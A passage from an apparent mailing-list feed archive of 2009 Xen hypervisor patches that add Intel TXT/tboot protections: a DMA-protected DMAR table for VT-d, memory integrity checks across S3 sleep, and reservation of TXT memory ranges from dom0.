&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* get addr of DMAR table */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;dmar_table = (struct acpi_table_header *)(heap_ptr +
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;((sinit_mle_data_t *)heap_ptr)-&amp;gt;vtd_dmars_off - sizeof(uint64_t));
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;rc = dmar_handler(dmar_table);
&lt;br&gt;+
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;destroy_xen_mappings((unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT),
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (unsigned long)__va((map_base + map_size) &amp;lt;&amp;lt; PAGE_SHIFT));
&lt;br&gt;&lt;br&gt;- &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* acpi_parse_dmar() zaps APCI DMAR signature in TXT heap table */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* but dom0 will read real table, so must zap it there too */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;dmar_table = NULL;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;acpi_get_table(ACPI_SIG_DMAR, 0, &amp;dmar_table);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( dmar_table != NULL )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;((struct acpi_table_dmar *)dmar_table)-&amp;gt;header.signature[0] = '\0';
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return rc;
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;diff -r 28d9dd8e3a81 -r e9325545f67c xen/drivers/passthrough/vtd/dmar.c
&lt;br&gt;--- a/xen/drivers/passthrough/vtd/dmar.c &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 18:23:38 2009 -0800
&lt;br&gt;+++ b/xen/drivers/passthrough/vtd/dmar.c &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 18:42:51 2009 -0800
&lt;br&gt;@@ -28,6 +28,7 @@
&lt;br&gt;&amp;nbsp;#include &amp;lt;xen/pci.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;xen/pci_regs.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/string.h&amp;gt;
&lt;br&gt;+#include &amp;lt;asm/tboot.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;quot;dmar.h&amp;quot;
&lt;br&gt;&amp;nbsp;#include &amp;quot;iommu.h&amp;quot;
&lt;br&gt;&lt;br&gt;@@ -519,7 +520,9 @@ int acpi_dmar_init(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( !iommu_enabled )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;goto fail;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; &amp;nbsp;rc = acpi_table_parse(ACPI_SIG_DMAR, acpi_parse_dmar);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* ACPI tables may not be DMA protected by tboot, so use DMAR copy */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT saved in SinitMleData in TXT heap (which is DMA protected) */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;rc = tboot_parse_dmar_table(acpi_parse_dmar);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( rc )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;goto fail;
&lt;br&gt;&lt;br&gt;diff -r 28d9dd8e3a81 -r e9325545f67c xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 18:23:38 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 18:42:51 2009 -0800
&lt;br&gt;@@ -36,6 +36,8 @@
&lt;br&gt;&lt;br&gt;&amp;nbsp;#ifndef __TBOOT_H__
&lt;br&gt;&amp;nbsp;#define __TBOOT_H__
&lt;br&gt;+
&lt;br&gt;+#include &amp;lt;xen/acpi.h&amp;gt;
&lt;br&gt;&lt;br&gt;&amp;nbsp;#ifndef __packed
&lt;br&gt;&amp;nbsp;#define __packed &amp;nbsp; __attribute__ ((packed))
&lt;br&gt;@@ -110,6 +112,7 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&amp;nbsp;void tboot_shutdown(uint32_t shutdown_type);
&lt;br&gt;&amp;nbsp;int tboot_in_measured_env(void);
&lt;br&gt;&amp;nbsp;int tboot_protect_mem_regions(void);
&lt;br&gt;+int tboot_parse_dmar_table(acpi_table_handler dmar_handler);
&lt;br&gt;&lt;br&gt;&amp;nbsp;#endif /* __TBOOT_H__ */
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723111&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-05b-use_protected_dmar.patch&lt;/strong&gt; (10K) &lt;a href=&quot;http://old.nabble.com/attachment/21723111/0/xen-txt-05b-use_protected_dmar.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-5-5---use-TXT%27s-DMA-protected-DMAR-table-to-setup-VT-d-tp21723111p21723111.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21723104</id>
	<title>[PATCH v2] txt: 4/5 - hypervisor integrity on S3</title>
	<published>2009-01-29T00:55:48Z</published>
	<updated>2009-01-29T00:55:48Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">When launched from tboot, utilise tboot interface to provide integrity protection to the hypervisor during S3
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723104&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;ACKed-by: Shane Wang &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723104&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r 196ed4d1e316 -r 664c5cd3827b xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:32:25 2009 -0800
&lt;br&gt;@@ -17,6 +17,8 @@ tboot_shared_t *g_tboot_shared;
&lt;br&gt;&amp;nbsp;tboot_shared_t *g_tboot_shared;
&lt;br&gt;&lt;br&gt;&amp;nbsp;static const uuid_t tboot_shared_uuid = TBOOT_SHARED_UUID;
&lt;br&gt;+
&lt;br&gt;+extern char __init_begin[], __per_cpu_start[], __per_cpu_end[], __bss_start[];
&lt;br&gt;&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;&amp;nbsp; * TXT configuration registers (offsets from TXT_{PUB, PRIV}_CONFIG_REGS_BASE)
&lt;br&gt;@@ -76,6 +78,25 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;shutdown_type = shutdown_type;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;local_irq_disable();
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* if this is S3 then set regions to MAC */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( shutdown_type == TB_SHUTDOWN_S3 ) {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;num_mac_regions = 4;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* S3 resume code (and other real mode trampoline code) */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[0].start =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint64_t)bootsym_phys(trampoline_start);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[0].end =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint64_t)bootsym_phys(trampoline_end);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* hypervisor code + data */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[1].start = (uint64_t)__pa(&amp;_stext);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[1].end = (uint64_t)__pa(&amp;__init_begin);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* per-cpu data */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[2].start = (uint64_t)__pa(&amp;__per_cpu_start);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[2].end = (uint64_t)__pa(&amp;__per_cpu_end);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* bss */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[3].start = (uint64_t)__pa(&amp;__bss_start);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[3].end = (uint64_t)__pa(&amp;_end);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Create identity map for tboot shutdown code. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;diff -r 196ed4d1e316 -r 664c5cd3827b xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:32:25 2009 -0800
&lt;br&gt;@@ -51,6 +51,12 @@ typedef struct __packed {
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* used to communicate between tboot and the launched kernel (i.e. Xen) */
&lt;br&gt;&lt;br&gt;+#define MAX_TB_MAC_REGIONS &amp;nbsp; &amp;nbsp; &amp;nbsp;32
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t &amp;nbsp;start;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t &amp;nbsp;end;
&lt;br&gt;+} tboot_mac_region_t;
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;/* GAS - Generic Address Structure (ACPI 2.0+) */
&lt;br&gt;&amp;nbsp;typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; uint8_t &amp;nbsp;space_id;
&lt;br&gt;@@ -83,6 +89,9 @@ typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;acpi_sinfo; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* where kernel put acpi sleep info in Sx */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_base; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* starting addr for tboot */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_size; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* size of tboot */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint8_t &amp;nbsp; num_mac_regions; &amp;nbsp; /* number mem regions to MAC on S3 */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* contig regions memory to MAC on S3 */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_mac_region_t mac_regions[MAX_TB_MAC_REGIONS];
&lt;br&gt;&amp;nbsp;} tboot_shared_t;
&lt;br&gt;&lt;br&gt;&amp;nbsp;#define TB_SHUTDOWN_REBOOT &amp;nbsp; &amp;nbsp; &amp;nbsp;0
&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723104&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-04c-hypervisor_s3_integrity.patch&lt;/strong&gt; (4K) &lt;a href=&quot;http://old.nabble.com/attachment/21723104/0/xen-txt-04c-hypervisor_s3_integrity.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-4-5---hypervisor-integrity-on-S3-tp21723104p21723104.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21723075</id>
	<title>[PATCH v2] txt: 3/5 - explicitly protect TXT addr ranges from dom0</title>
	<published>2009-01-29T00:55:32Z</published>
	<updated>2009-01-29T00:55:32Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">tboot no longer marks the TXT heap/SINIT/private config space as E820_UNUSABLE in the e820 table, so Xen must explicitly disallow those regions from dom0.
&lt;br&gt;&lt;br&gt;Signed-off-by: Shane Wang &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723075&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&amp;gt;
&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723075&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r 9ba8aecc3a15 -r 196ed4d1e316 xen/arch/x86/e820.c
&lt;br&gt;--- a/xen/arch/x86/e820.c &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/e820.c &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;@@ -391,11 +391,14 @@ static void __init machine_specific_memo
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;reserve_dmi_region();
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;-/* Reserve RAM area (@s,@e) in the specified e820 map. */
&lt;br&gt;-int __init reserve_e820_ram(struct e820map *e820, uint64_t s, uint64_t e)
&lt;br&gt;+static int reserve_e820(struct e820map *e820, uint64_t s, uint64_t e,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; uint32_t orig_type, uint32_t new_type)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint64_t rs = 0, re = 0;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;int i;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;int i, remove;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* if reserving region, can delete instead */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;remove = (new_type == E820_RESERVED);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;for ( i = 0; i &amp;lt; e820-&amp;gt;nr_map; i++ )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;@@ -406,37 +409,89 @@ int __init reserve_e820_ram(struct e820m
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( (i == e820-&amp;gt;nr_map) || (e820-&amp;gt;map[i].type != E820_RAM) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( (i == e820-&amp;gt;nr_map) || (e820-&amp;gt;map[i].type != orig_type) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( (s == rs) &amp;&amp; (e == re) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Complete excision. */
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i], &amp;e820-&amp;gt;map[i+1],
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i-1) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map--;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( remove )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i], &amp;e820-&amp;gt;map[i+1],
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i-1) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map--;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].type = new_type;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;else if ( s == rs )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Truncate start. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Truncate start or split. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( !remove )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* split */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( e820-&amp;gt;nr_map+1 &amp;gt; ARRAY_SIZE(e820-&amp;gt;map) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;e820 overflow\n&amp;quot;);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i+1], &amp;e820-&amp;gt;map[i],
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].addr = s;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = e - s;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].type = new_type;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;i++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].addr += e - s;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size -= e - s;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;else if ( e == re )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Truncate end. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Truncate end or split. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( !remove )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( e820-&amp;gt;nr_map+1 &amp;gt; ARRAY_SIZE(e820-&amp;gt;map) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;e820 overflow\n&amp;quot;);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i+1], &amp;e820-&amp;gt;map[i],
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i+1].addr = s;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i+1].size = e - s;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i+1].type = new_type;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size -= e - s;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;- &amp;nbsp; &amp;nbsp;else if ( e820-&amp;gt;nr_map &amp;lt; ARRAY_SIZE(e820-&amp;gt;map) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;else if ( e820-&amp;gt;nr_map+1 &amp;lt; ARRAY_SIZE(e820-&amp;gt;map) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Split in two. */
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i+1], &amp;e820-&amp;gt;map[i],
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map++;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = s - rs;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;i++;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].addr = e;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = re - e;
